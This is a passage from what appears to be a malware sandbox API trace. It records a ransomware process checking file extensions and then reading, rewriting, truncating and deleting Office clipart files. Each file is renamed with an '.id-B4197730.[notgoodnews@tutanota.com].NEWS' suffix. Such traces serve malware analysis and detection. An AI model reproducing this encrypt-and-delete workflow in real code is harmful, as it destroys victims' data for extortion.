(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.730] lstrlenW (lpString=".doc") returned 4 [0086.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.730] lstrlenW (lpString=".docx") returned 5 [0086.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.730] lstrlenW (lpString=".pdf") returned 4 [0086.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.730] lstrlenW (lpString=".xls") returned 4 [0086.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.730] lstrlenW (lpString=".xlsx") returned 5 [0086.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.730] lstrlenW (lpString=".ppt") returned 4 [0086.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.731] lstrlenW (lpString=".zip") returned 4 [0086.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.731] lstrlenW (lpString=".rar") returned 4 [0086.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.731] lstrlenW (lpString=".bz2") returned 4 [0086.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.731] lstrlenW (lpString=".7z") returned 3 [0086.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.731] lstrlenW (lpString=".dbf") returned 4 [0086.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.731] lstrlenW (lpString=".1cd") returned 4 [0086.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.731] lstrlenW (lpString=".jpg") returned 4 [0086.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.731] lstrlenW (lpString=".doc") returned 4 [0086.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.731] lstrlenW (lpString=".docx") returned 5 [0086.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.731] lstrlenW (lpString=".pdf") returned 4 [0086.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.731] lstrlenW (lpString=".xls") returned 4 [0086.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.731] lstrlenW (lpString=".xlsx") returned 5 [0086.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.731] lstrlenW (lpString=".ppt") returned 4 [0086.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.731] lstrlenW (lpString=".zip") returned 4 [0086.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.731] lstrlenW (lpString=".rar") returned 4 [0086.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.731] lstrlenW (lpString=".bz2") returned 4 [0086.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.732] lstrlenW (lpString=".7z") returned 3 [0086.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.732] lstrlenW (lpString=".dbf") returned 4 [0086.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.732] lstrlenW (lpString=".1cd") returned 4 [0086.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.732] lstrlenW (lpString=".jpg") returned 4 [0086.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.732] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.732] lstrlenW (lpString="FD01191_.WMF") returned 12 [0086.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.732] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3964) returned 1 [0086.732] CloseHandle (hObject=0x2c4) returned 1 [0086.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0086.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.733] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.733] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.733] GetLastError () returned 0x0 [0086.733] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xf7c, lpOverlapped=0x0) returned 1 [0086.734] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf80, lpOverlapped=0x0) returned 1 [0086.735] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.735] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.736] SetEndOfFile (hFile=0x344) returned 1 [0086.736] CloseHandle (hObject=0x344) returned 1 [0086.736] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.736] SetEndOfFile (hFile=0x2c4) returned 1 [0086.737] CloseHandle (hObject=0x2c4) returned 1 [0086.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0086.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.737] lstrlenW (lpString=".doc") returned 4 [0086.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.737] lstrlenW (lpString=".docx") returned 5 [0086.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.737] lstrlenW (lpString=".pdf") returned 4 [0086.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.737] lstrlenW (lpString=".xls") returned 4 [0086.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.737] lstrlenW (lpString=".xlsx") returned 5 [0086.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.737] lstrlenW (lpString=".ppt") returned 4 [0086.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.738] lstrlenW (lpString=".zip") returned 4 [0086.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.738] lstrlenW (lpString=".rar") returned 4 [0086.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.738] lstrlenW (lpString=".bz2") returned 4 [0086.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.738] lstrlenW (lpString=".7z") returned 3 [0086.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.738] lstrlenW (lpString=".dbf") returned 4 [0086.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.738] lstrlenW (lpString=".1cd") returned 4 [0086.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.738] lstrlenW (lpString=".jpg") returned 4 [0086.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.738] lstrlenW (lpString=".doc") returned 4 [0086.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.738] lstrlenW (lpString=".docx") returned 5 [0086.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.738] lstrlenW (lpString=".pdf") returned 4 [0086.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.738] lstrlenW (lpString=".xls") returned 4 [0086.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.738] lstrlenW (lpString=".xlsx") returned 5 [0086.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.738] lstrlenW (lpString=".ppt") returned 4 [0086.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.738] lstrlenW (lpString=".zip") returned 4 [0086.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.738] lstrlenW (lpString=".rar") returned 4 [0086.739] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.739] lstrlenW (lpString=".bz2") returned 4 [0086.739] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.739] lstrlenW (lpString=".7z") returned 3 [0086.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.739] lstrlenW (lpString=".dbf") returned 4 [0086.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.739] lstrlenW (lpString=".1cd") returned 4 [0086.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0086.739] lstrlenW (lpString=".jpg") returned 4 [0086.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.739] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.741] lstrlenW (lpString="FD01193_.WMF") returned 12 [0086.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.742] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1160) returned 1 [0086.742] CloseHandle (hObject=0x2c4) returned 1 [0086.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0086.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.742] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.742] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.743] GetLastError () returned 0x0 [0086.743] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x488, lpOverlapped=0x0) returned 1 [0086.744] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x490, lpOverlapped=0x0) returned 1 [0086.746] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.746] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.746] SetEndOfFile (hFile=0x344) returned 1 [0086.746] CloseHandle (hObject=0x344) returned 1 [0086.746] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.746] SetEndOfFile (hFile=0x2c4) returned 1 [0086.747] CloseHandle (hObject=0x2c4) returned 1 [0086.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0086.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.747] lstrlenW (lpString=".doc") returned 4 [0086.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.747] lstrlenW (lpString=".docx") returned 5 [0086.747] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.747] lstrlenW (lpString=".pdf") returned 4 [0086.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.748] lstrlenW (lpString=".xls") returned 4 [0086.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.748] lstrlenW (lpString=".xlsx") returned 5 [0086.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.748] lstrlenW (lpString=".ppt") returned 4 [0086.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.748] lstrlenW (lpString=".zip") returned 4 [0086.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.748] lstrlenW (lpString=".rar") returned 4 [0086.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.748] lstrlenW (lpString=".bz2") returned 4 [0086.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.748] lstrlenW (lpString=".7z") returned 3 [0086.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.748] lstrlenW (lpString=".dbf") returned 4 [0086.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.748] lstrlenW (lpString=".1cd") returned 4 [0086.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.748] lstrlenW (lpString=".jpg") returned 4 [0086.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.748] lstrlenW (lpString=".doc") returned 4 [0086.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.748] lstrlenW (lpString=".docx") returned 5 [0086.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.748] lstrlenW (lpString=".pdf") returned 4 [0086.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.748] lstrlenW (lpString=".xls") returned 4 [0086.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.748] lstrlenW (lpString=".xlsx") returned 5 [0086.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.749] lstrlenW (lpString=".ppt") returned 4 [0086.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.749] lstrlenW (lpString=".zip") returned 4 [0086.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.749] lstrlenW (lpString=".rar") returned 4 [0086.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.749] lstrlenW (lpString=".bz2") returned 4 [0086.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.749] lstrlenW (lpString=".7z") returned 3 [0086.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.749] lstrlenW (lpString=".dbf") returned 4 [0086.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.749] lstrlenW (lpString=".1cd") returned 4 [0086.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0086.749] lstrlenW (lpString=".jpg") returned 4 [0086.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.749] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.749] lstrlenW (lpString="FD01196_.WMF") returned 12 [0086.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.750] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2332) returned 1 [0086.750] CloseHandle (hObject=0x2c4) returned 1 [0086.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0086.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.750] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.750] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.751] GetLastError () returned 0x0 [0086.751] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x91c, lpOverlapped=0x0) returned 1 [0087.332] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x920, lpOverlapped=0x0) returned 1 [0087.333] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.334] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.334] SetEndOfFile (hFile=0x344) returned 1 [0087.334] CloseHandle (hObject=0x344) returned 1 [0087.334] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.334] SetEndOfFile (hFile=0x2c4) returned 1 [0087.335] CloseHandle (hObject=0x2c4) returned 1 [0087.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0087.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68 [0087.335] lstrlenW (lpString=".doc") returned 4 [0087.335] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.335] lstrlenW (lpString=".docx") returned 5 [0087.335] lstrcmpiW (lpString1=".docx", 